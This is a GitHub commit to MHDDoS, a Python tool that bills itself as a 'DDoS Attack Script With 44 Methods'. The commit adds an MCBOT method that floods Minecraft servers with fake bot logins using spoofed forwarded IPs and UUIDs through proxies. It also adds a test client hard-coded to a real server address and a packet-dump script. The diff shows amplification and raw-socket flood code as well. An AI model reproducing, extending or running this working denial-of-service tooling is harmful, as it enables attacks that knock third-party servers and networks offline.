Skip to content

Commit

Permalink
Minecraft bot attack method added MCBOT
Browse files Browse the repository at this point in the history
  • Loading branch information
MHProDev committed Mar 6, 2022
1 parent 3b2e3fb commit f692079
Show file tree
Hide file tree
Showing 4 changed files with 231 additions and 11 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="aventium softworks"></p>

<h1 align="center">MHDDoS - DDoS Attack Script With 43 Methods</h1>
<h1 align="center">MHDDoS - DDoS Attack Script With 44 Methods</h1>
<em><h5 align="center">(Programming Language - Python 3)</h5></em>

<p align="center">
Expand Down Expand Up @@ -50,6 +50,7 @@
* <img src="https://cdn.iconscout.com/icon/free/png-256/virus-2165355-1821015.png" width="16" height="16" alt="vse"> VSE | Send VSE Protocol
* <img src="https://cdn.iconscout.com/icon/free/png-512/redis-4-1175103.png" width="16" height="16" alt="mem"> MEM | Memcached Amplification
* <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="ntp"> NTP | NTP Amplification
* <img src="https://cdn-icons-png.flaticon.com/512/4712/4712139.png" width="16" height="16" alt="mcbot"> MCBOT | Minecraft Bot Attack
* <img src="https://cdn.icon-icons.com/icons2/2699/PNG/512/minecraft_logo_icon_168974.png" width="16" height="16" alt="minecraft"> MINECRAFT | Minecraft Status Ping Protocol
* <img src="https://cdn-icons-png.flaticon.com/512/2653/2653461.png" width="16" height="16" alt="dns"> DNS | DNS Amplification
* <img src="https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png" width="16" height="16" alt="chargen"> CHAR | Chargen Amplification
Expand Down
64 changes: 64 additions & 0 deletions minecraft-chat-client.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack as data_pack
from contextlib import suppress
from random import randint
from time import sleep
from uuid import UUID, uuid4

class Minecraft:
@staticmethod
def varint(d):
o = b''
while True:
b = d & 0x7F
d >>= 7
o += data_pack("B", b | (0x80 if d > 0 else 0))
if d == 0:
break
return o

@staticmethod
def data(*payload):
payload = b''.join(payload)
return Minecraft.varint(len(payload)) + payload

@staticmethod
def short(integer):
return data_pack('>H', integer)

@staticmethod
def handshake(target, version, state):
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(target[0].encode()),
Minecraft.short(target[1]),
Minecraft.varint(state))
@staticmethod
def handshake_forwarded(target, version, state, ip, uuid):
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(
target[0].encode(),
b"\x00",
ip.encode(),
b"\x00",
uuid.hex.encode()
),
Minecraft.short(target[1]),

Minecraft.varint(state))

@staticmethod
def login(username):
if isinstance(username, str):
username = username.encode()
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.data(username))

target = ("185.105.237.4", 10170)
with suppress(KeyboardInterrupt):
with socket(AF_INET, SOCK_STREAM) as s:
s.connect(target)
data = Minecraft.handshake_forwarded(target, 47, 2, "0.0.0.0", uuid4())
s.sendall(data)
s.sendall(Minecraft.login("MH_ProDev"))
69 changes: 69 additions & 0 deletions packet_dump.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack as data_pack
from contextlib import suppress
from random import randint
from time import sleep
from uuid import UUID

class Minecraft:
@staticmethod
def varint(d):
o = b''
while True:
b = d & 0x7F
d >>= 7
o += data_pack("B", b | (0x80 if d > 0 else 0))
if d == 0:
break
return o

@staticmethod
def data(*payload):
payload = b''.join(payload)
return Minecraft.varint(len(payload)) + payload

@staticmethod
def short(integer):
return data_pack('>H', integer)

@staticmethod
def handshake(target, version, state):
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(target[0].encode()),
Minecraft.short(target[1]),
Minecraft.varint(state))

@staticmethod
def login(username):
if isinstance(username, str):
username = username.encode()
return Minecraft.data(Minecraft.varint(0x00)),

def varint_unpack(s):
d, l = 0, 0
length = len(s)
if length > 5:
length = 5
for i in range(length):
l += 1
b = s[i]
d |= (b & 0x7F) << 7 * i
if not b & 0x80:
break
return (d, s[l:])

def data_unpack(bytes):
length, bytes = varint_unpack(bytes)
return bytes[:length], bytes[length:]


data = b'<\x00/6ggmc.ir\x005.127.169.134\x000010d32e8fc03a0b82dbd370c502497fc\xdd\x02'

data = varint_unpack(data) # size
data = varint_unpack(data[1]) #packet id
data = varint_unpack(data[1]) # idk
data = varint_unpack(data[1]) # idk

data = (data[1][:data[0]])
print(data)
106 changes: 96 additions & 10 deletions start.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,19 +15,21 @@
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
gethostname, socket)
from ssl import CERT_NONE, SSLContext, create_default_context
from struct import pack as data_pack
from subprocess import run
from sys import argv
from sys import exit as _exit
from threading import Event, Lock, Thread
from time import sleep, time
from typing import Any, List, Set, Tuple
from urllib import parse
from uuid import UUID, uuid4

import dns.resolver
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
from PyRoxy import Tools as ProxyTools
from certifi import where
from cfscrape import create_scraper
from dns import resolver
from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
Expand Down Expand Up @@ -82,7 +84,7 @@ class Methods:

LAYER4_METHODS: Set[str] = {
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
"CHAR", "RDP"
"CHAR", "RDP", "MCBOT"
}
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}

Expand Down Expand Up @@ -156,6 +158,62 @@ def sizeOfRequest(res: Response) -> int:
return size


class Minecraft:
@staticmethod
def varint(d: int) -> bytes:
o = b''
while True:
b = d & 0x7F
d >>= 7
o += data_pack("B", b | (0x80 if d > 0 else 0))
if d == 0:
break
return o

@staticmethod
def data(*payload: bytes) -> bytes:
payload = b''.join(payload)
return Minecraft.varint(len(payload)) + payload

@staticmethod
def short(integer: int) -> bytes:
return data_pack('>H', integer)

@staticmethod
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(target[0].encode()),
Minecraft.short(target[1]),
Minecraft.varint(state))

@staticmethod
def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(version),
Minecraft.data(
target[0].encode(),
b"\x00",
ip.encode(),
b"\x00",
uuid.hex.encode()
),
Minecraft.short(target[1]),
Minecraft.varint(state))

@staticmethod
def login(username: str) -> bytes:
if isinstance(username, str):
username = username.encode()
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.data(username))

@staticmethod
def keepalive(num_id) -> bytes:
return Minecraft.data(Minecraft.varint(0x00),
Minecraft.varint(num_id))


# noinspection PyBroadException
class Layer4(Thread):
_method: str
Expand Down Expand Up @@ -204,6 +262,7 @@ def select(self, name):
if name == "SYN": self.SENT_FLOOD = self.SYN
if name == "VSE": self.SENT_FLOOD = self.VSE
if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
if name == "MCBOT": self.SENT_FLOOD = self.MCBOT
if name == "RDP":
self._amp_payload = (
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
Expand Down Expand Up @@ -248,7 +307,7 @@ def TCP(self) -> None:

def MINECRAFT(self) -> None:
global bytes_sent, REQUESTS_SENT
payload = b'\x0f\x1f0\t' + self._target[0].encode() + b'\x0fA'
payload = Minecraft.handshake(self._target, 74, 1)
try:
with self.get_effective_socket(AF_INET, SOCK_STREAM) as s:
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
Expand Down Expand Up @@ -294,7 +353,7 @@ def AMP(self) -> None:
payload = next(self._amp_payloads)
try:
with socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while s.sendto(*payload):
REQUESTS_SENT += 1
Expand All @@ -303,6 +362,33 @@ def AMP(self) -> None:
except Exception:
s.close()

def MCBOT(self) -> None:
global bytes_sent, REQUESTS_SENT
login = Minecraft.login("MHDDoS_" + ProxyTools.Random.rand_str(5))
handshake = Minecraft.handshake_forwarded(self._target,
47,
2,
ProxyTools.Random.rand_ipv4(),
uuid4())
try:
with self.get_effective_socket(AF_INET, SOCK_STREAM) as s:
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
s.connect(self._target)

s.send(handshake)
s.send(login)
bytes_sent += (len(handshake + login))
REQUESTS_SENT += 1

c = 1000
while s.recv(1) and c:
c -= 1
s.send(Minecraft.keepalive(randint(1000, 1234567890)))
sleep(0.05)

except Exception:
s.close()

def VSE(self) -> None:
global bytes_sent, REQUESTS_SENT
payload = (
Expand Down Expand Up @@ -1176,13 +1262,13 @@ def usage():
@staticmethod
def ts_srv(domain):
records = ['_ts3._udp.', '_tsdns._tcp.']
DnsResolver = dns.resolver.Resolver()
DnsResolver = resolver.Resolver()
DnsResolver.timeout = 1
DnsResolver.lifetime = 1
Info = {}
for rec in records:
try:
srv_records = dns.resolver.resolve(rec + domain, 'SRV')
srv_records = resolver.resolve(rec + domain, 'SRV')
for srv in srv_records:
Info[rec] = str(srv.target).rstrip('.') + ':' + str(
srv.port)
Expand Down Expand Up @@ -1215,7 +1301,7 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
)
Proxies = ProxyChecker.checkAll(
Proxies, timeout=1, threads=threads,
**({'url': url.human_repr()} if url else {})
url=url.human_repr() if url else "https://google.com",
)
if not Proxies:
exit(
Expand Down Expand Up @@ -1286,8 +1372,8 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):

if method == "BOMB":
assert (
bombardier_path.exists()
or bombardier_path.with_suffix('.exe').exists()
bombardier_path.exists()
or bombardier_path.with_suffix('.exe').exists()
), (
"Install bombardier: "
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
Expand Down Expand Up @@ -1366,7 +1452,7 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
proxy_ty = int(argfive)
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
proxies = handleProxyList(con, proxy_li, proxy_ty)
if method not in {"MINECRAFT", "TCP"}:
if method not in {"MINECRAFT", "MCBOT", "TCP"}:
exit("this method cannot use for layer4 proxy")

else:
Expand Down

0 comments on commit f692079

Please sign in to comment.